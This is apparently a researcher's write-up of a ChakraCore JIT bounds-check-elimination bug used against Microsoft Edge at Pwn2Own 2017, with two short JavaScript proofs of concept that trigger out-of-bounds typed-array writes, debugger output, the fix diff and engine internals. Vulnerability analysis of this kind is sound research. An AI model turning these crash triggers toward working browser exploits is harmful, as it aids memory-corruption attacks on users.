About the Microsoft Edge Vuln used on pwn2own 2017

debug enviorment: Windows10 + Visual Studio 2015 + ChakraCore SourceCode

POC

1
2
3
4
5
6
7
8
9
10
function write(n)
{
for(var i=0;i<n;i++)
{
view[0x40000]=num;
}
}
var view = new Uint32Array(0x10000);
write(0,1000,1,0x3)
write(0,1000,1,0x3)

Let’s start

the debugger throw out an exception “access violation” in JIT code

1
0000002DE9040084 mov dword ptr [rax+100000h],3

so we need to see what happened

1
2
dd rax+100000h
0x00000057800E0000 ??? ??? ???

hum,it’s a simple OOB

How does it happend?

see the patch

https://github.com/Microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
- eliminatedLowerBoundCheck = true;
- eliminatedUpperBoundCheck = true;
- canBailOutOnArrayAccessHelperCall = false;
+ // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
+ // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
+ // checks in jitted code.
+ if (!GetIsAsmJSFunc())
+ {
+ IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
+ if (idxOpnd)
+ {
+ StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
+ Value * idxValue = FindValue(idxSym);
+ IntConstantBounds idxConstantBounds;
+ if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
+ {
+ BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
+ int32 upperBound = idxConstantBounds.UpperBound();
+ int32 lowerBound = idxConstantBounds.LowerBound();
+ if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
+ {
+ eliminatedLowerBoundCheck = true;
+ eliminatedUpperBoundCheck = true;
+ canBailOutOnArrayAccessHelperCall = false;
+ }
+ }
+ }
+ }
+ else
+ {
+ eliminatedLowerBoundCheck = true;
+ eliminatedUpperBoundCheck = true;
+ canBailOutOnArrayAccessHelperCall = false;
+ }
}
}

The problem is clear

Microsoft make a aggressive strategy: that they remove the bound check of virtual typed array

and then, we restart the program,and I find an interesting thing

The program use VirtualAlloc() function instead of GC, when we alloc a “big” virtual typed array

1
2
buffer=???
var view = new Uint32Array(buffer);

That is to say

when buffer is greater than a value , then it would use VirtualAlloc() function to ask for 4GB space at one time

then it would commit the real size (buffer) of the array,which could be used.

so what is the meaning of this ? let’s discuss about it later

come back to think a problem: how does ChakraCore work , and analyse about the logic of this vuln

how does ChakraCore works ?

it could work in two ways

  1. interpreter mode (normal)

  2. JIT mode (much more faster)

    so,how does interpreter mode works

    the process look like this

    1
    2
    3
    4
    5
    6
    7
    8
    9
    CallFunction()
    ProfiledLoopBodyStart()
    amd64_CallFunction()
    CheckCodeGenThunk()
    NativeCodeGenerator::CheckCodeGen()
    DelayDynamicInterpreterThunk@InterpreterStackFrame()
    InterpreterStackFrame::EnsureDynamicInterpreterThunk()
    jmp code
    InterpreterStackFrame::InterpreterThunk()

when handle the loop in javascript

let’s see the Call Stack

1
2
3
4
5
6
chakracore!Js::InterpreterStackFrame::InterpreterHelper
chakracore!Js::InterpreterStackFrame::Process
chakracore!Js::InterpreterStackFrame::ProcessProfiled
chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart
chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart
chakracore!Js::InterpreterStackFrame::DoLoopBodyStart

when JIT code does not generated (it would use a new thread to do this) , ChakraCore would use ProfiledLoopBodyStart as the handler

1
2
3
4
5
6
7
const byte * InterpreterStackFrame::OP_ProfiledLoopBodyStart(const byte * ip)
{
uint32 C1 = m_reader.GetLayout<OpLayoutT_Unsigned1<LayoutSizePolicy<layoutSize>>>(ip)->C1;
if(profiled || isAutoProfiling)
{
this->currentLoopCounter++;

and the variable currentLoopCounter shows how many time the function is called

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
InterpreterStackFrame::CheckIfLoopIsHot(uint profiledLoopCounter)
{
Js::FunctionBody *fn = this->function->GetFunctionBody();
if (!fn->GetHasHotLoop() && profiledLoopCounter > (uint)CONFIG_FLAG(JitLoopBodyHotLoopThreshold))
{
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
if(PHASE_TRACE(Js::JITLoopBodyPhase, fn))
{
char16 debugStringBuffer[MAX_FUNCTION_BODY_DEBUG_STRING_SIZE];
Output::Print(
_u("Speculate Jit set for this function with loopbody: function: %s (%s)\n"),
fn->GetDisplayName(),
fn->GetDebugNumberSet(debugStringBuffer));
Output::Flush();
}
#endif
fn->SetHasHotLoop();
}
}

and then if the variable is greater than (uint)CONFIG_FLAG(JitLoopBodyHotLoopThreshold),it would turn into JIT mode

so that the process turn into this

1
2
3
4
5
6
7
8
9
CallFunction()
ProfiledLoopBodyStart()
amd64_CallFunction()
CheckCodeGenThunk()
NativeCodeGenerator::CheckCodeGen()
DelayDynamicInterpreterThunk@InterpreterStackFrame()
InterpreterStackFrame::EnsureDynamicInterpreterThunk()
jmp code
JIT code

how could it call JIT code rather than interpreter ?

in amd64_CallFunction() where call CheckCodeGenThunk()

1
2
3
4
ifdef _CONTROL_FLOW_GUARD
call [__guard_dispatch_icall_fptr]
else
call rax

rax=the address of JIT code

OK,so that we know about how ChakraCore works

then,how about the patch,could we get into the logic which disable the bound check?

once we patch it,we’ll find that we could not pass the check

1
if (idxOpnd)

i find that if we access the array index through constant , then it would get into

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Const-prop an indir opnd's constant index into its offset
IR::Opnd *srcs[] = { instr->GetSrc1(), instr->GetSrc2(), instr->GetDst() };
for(int i = 0; i < sizeof(srcs) / sizeof(srcs[0]); ++i)
{
const auto src = srcs[i];
if(!src || !src->IsIndirOpnd())
{
continue;
}
const auto indir = src->AsIndirOpnd();
if(opnd == indir->GetIndexOpnd())
{
Assert(indir->GetScale() == 0);
GOPT_TRACE_OPND(opnd, _u("Constant prop indir index into offset (value: %d)\n"), intConstantValue);
this->CaptureByteCodeSymUses(instr);
indir->SetOffset(intConstantValue);
indir->SetIndexOpnd(nullptr);
}
}

call indir->SetIndexOpnd(nullptr)

so we need to pass a variable like this

1
2
3
4
5
6
7
8
9
10
function write(j)
{
for(var i=0;i<0xc000;i++)
{
if(j>=0 && j<=0x60000) view[j]=0x3;
}
}
var view = new Uint32Array(0x10000);
write(0x40000)
write(0x40000)

then we get into the logic which disabled the bound check, and ChakraCore crash again (of course,could not bypass the patch because we are in the 4GB space)

:( ok,I’ll finish the exploit in future,thank you